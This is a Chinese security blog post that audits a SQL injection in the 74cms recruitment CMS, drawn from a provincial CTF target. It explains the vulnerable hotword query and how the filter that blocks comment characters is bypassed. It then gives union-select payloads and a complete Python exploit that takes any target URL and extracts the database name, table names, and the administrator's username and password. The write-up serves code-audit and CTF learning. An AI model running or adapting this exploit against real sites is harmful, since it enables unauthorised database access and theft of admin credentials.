p0's blog | 破 关注网络安全
74cms人才系统注入+编写exp-2
发表于: | 分类: Python,代码审计 | 评论:0 | 阅读: 1486

0x00 前言

这是第五届山东省信息安全技能大赛的一个靶机环境,比赛的环境估计给改代码了,降低了难度,自己当时用sqlmap直接跑出来了,但实际环境是跑不出来的,过滤了注释符和其他一些语句,需要结合cms进行构造。
参考漏洞:wooyun-2015-137002
存在漏洞版本:74cms 20150817
系统要求:PHP gpc=off或PHP版本>=5.4

0x01 代码分析

根据漏洞给出的测试poc:

/plus/ajax_common.php?query=' and 0 union select 1,user(),3 and '&act=hotword`

定位文件/plus/ajax_common.php

elseif($act=="hotword")
{
    if (empty($_GET['query']))
    {
    exit();
    }
    $gbk_query=trim($_GET['query']);
    if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0)
    {
    $gbk_query=utf8_to_gbk($gbk_query);
    }
    $sql="SELECT * FROM ".table('hotword')." WHERE w_word like '%{$gbk_query}%' ORDER BY `w_hot` DESC LIMIT 0 , 10";
    $result = $db->query($sql);
    while($row = $db->fetch_array($result))
    {
        $list[]="'".$row['w_word']."'";
    }
    if ($list)
    {
    $liststr=implode(',',$list);
    $str="{";
    $str.="query:'{$gbk_query}',";
    $str.="suggestions:[{$liststr}]";
    $str.="}";
    exit($str);
    }
}

可以看到$gbk_query=trim($_GET['query']);没有进行过滤直接拼接成语句

$sql="SELECT * FROM ".table('hotword')." WHERE w_word like '%{$gbk_query}%' ORDER BY `w_hot` DESC LIMIT 0 , 10";
带入query()函数查询了。 来看一下query函数/include/mysql.class.php
function query($sql){
    $sql=help::CheckSql($sql);

    if(!$query=@mysql_query($sql, $this->linkid)){
        $this->dbshow("Query error:$sql");
    }else{
        return $query;
    }
}

在执行sql语句之前,将sql语句带入CheckSql($sql)进行过滤。
来看一下CheckSql()函数/include/help.class.php

static function CheckSql($db_string,$querytype='select')
    {
        global $QS_pwdhash;
        $clean = '';
        $error='';
        $old_pos = 0;
        $pos = -1;
        $log_file = QISHI_ROOT_PATH.'/data/'.md5($QS_pwdhash).'_safe.txt';
        $userIP = getip();
        $getUrl =request_url();
        $time = date('Y-m-d H:i:s');
        if($querytype=='select')
        {
            $notallow1 = "[^0-9a-z@\._-]{1,}(sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
            if(preg_match("/".$notallow1."/i", $db_string))
            {
                fputs(fopen($log_file,'a+'),"$userIP||$time\r\n$getUrl\r\n$db_string\r\nSelectBreak\r\n===========\r\n");
                exit("您输入的内容不符合要求请正确输入!");
            }
        }
        //完整的SQL检查
        while (TRUE)
        {
            $pos = strpos($db_string, '\'', $pos + 1);
            if ($pos === FALSE)
            {
                break;
            }
            $clean .= substr($db_string, $old_pos, $pos - $old_pos);
            while (TRUE)
            {
                $pos1 = strpos($db_string, '\'', $pos + 1);
                $pos2 = strpos($db_string, '\\', $pos + 1);
                if ($pos1 === FALSE)
                {
                    break;
                }
                elseif ($pos2 == FALSE || $pos2 > $pos1)
                {
                    $pos = $pos1;
                    break;
                }
                $pos = $pos2 + 1;
            }
            $clean .= '$s$';
            $old_pos = $pos + 1;
        }
        $clean .= substr($db_string, $old_pos);
        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
        if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE 
        OR strpos($clean,'$s$$s$')!== FALSE)
        {
            $fail = TRUE;
            if(preg_match("#^create table#i",$clean)) $fail = FALSE;
            $error="unusual character";
        }
        elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
        {
            $fail = TRUE;
            $error="comment detect";
        }
        elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0)
        {
            $fail = TRUE;
            $error="slown down detect";
        }
        elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0)
        {
            $fail = TRUE;
            $error="slown down detect";
        }
        elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0)
        {
            $fail = TRUE;
            $error="file fun detect";
        }
        elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) != 0)
        {
            $fail = TRUE;
            $error="file fun detect";
        }
        if (!empty($fail))
        {
            fputs(fopen($log_file,'a+'),"$userIP||$time\r\n$getUrl\r\n$db_string\r\n$error\r\n===========\r\n");
            exit("您输入的内容不符合要求请正确输入!");
        }
        else
        {
            return $db_string;
        }
    }

过滤了load_file、into outfile、delete等一些语句,并不影响联合查询,但是过滤了#喝--注释符,这就意味着我们不能随心所欲的进行注入了,我们需要闭合原语句,那不一样吗

0x02 构造POC

先看原语句

SELECT * FROM ".table('hotword')." WHERE w_word like '%{$gbk_query}%' ORDER BY `w_hot` DESC LIMIT 0 , 10
是把查询出来的数据按w_hot字段进行由大到小排序,假如我们这样构造语句
query=0' union select 1,concat(admin_name,'%2D',pwd),3 from qs_admin and '&act=hotword
查询管理员账号密码,是不能够成功执行的,因为管理员表里没有w_hot这个字段,所以排序的时候会出错,sql语句不能成功执行。 那就换种方法
query=0' union select 1,(select concat(admin_name,'%2D',pwd) from qs_admin),3  and '&act=hotword
便可以爆出管理员帐号密码

1.png

0x03 编写exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = Br3ad
#_bug_ = WooYun-2015-137002
#_file_ = plus/ajax_common.php
import requests
import re
def Auxiliary(aux):
    # 正则提取数据
    reg = r'\[\'.*?\'\]'
    reg = re.compile(reg)
    result = reg.findall(aux)
    return result[0][2:-2]
def Check(url):
    #检测漏洞是否存在
    print 'Checking WooYun-2015-137002',
    payload = '/plus/ajax_common.php?query=0\'&act=hotword'
    if 'Error' in requests.get(url+payload).content:
        print 'Done'
        return True

def Attack(url):
    # 主要攻击代码
    print 'Start attack'
    getdbuser = '%s/plus/ajax_common.php?query=0\' union select 1,user(),3 and \'&act=hotword' % url
    dbuser = Auxiliary(requests.get(getdbuser).content)
    print '数据库用户:%s' % dbuser
    getdbname = '%s/plus/ajax_common.php?query=0\' union select 1,database(),3 and \'&act=hotword' % url
    dbname = Auxiliary(requests.get(getdbname).content)
    print '数据库名:%s' % dbname
    gettables = '%s/plus/ajax_common.php?query=0\' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=\'%s\'),3 and \'&act=hotword' % (url,dbname)
    tablenames = Auxiliary(requests.get(gettables).content)
    print '数据库表名:%s' % tablenames
    getadminname = '%s/plus/ajax_common.php?query=0\' union select 1,(select admin_name from qs_admin),3 and \'&act=hotword' % url
    adminname = Auxiliary(requests.get(getadminname).content)
    print '管理员用户名:%s' % adminname
    getadminpwd = '%s/plus/ajax_common.php?query=0\' union select 1,(select pwd from qs_admin),3 and \'&act=hotword' % url
    adminpwd = Auxiliary(requests.get(getadminpwd).content)
    print '管理员密码:%s' % adminpwd

    print 'Done'
def main():
    url = raw_input('输入目标url:')
    if Check(url):
        Attack(url)
    else:
        print '不存在该漏洞'
if __name__ == '__main__':
    main()

2.png

有时间再去写其他几个的exp


著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:http://p0sec.net/index.php/archives/76/
来源:http://p0sec.net/

添加新评论

TOP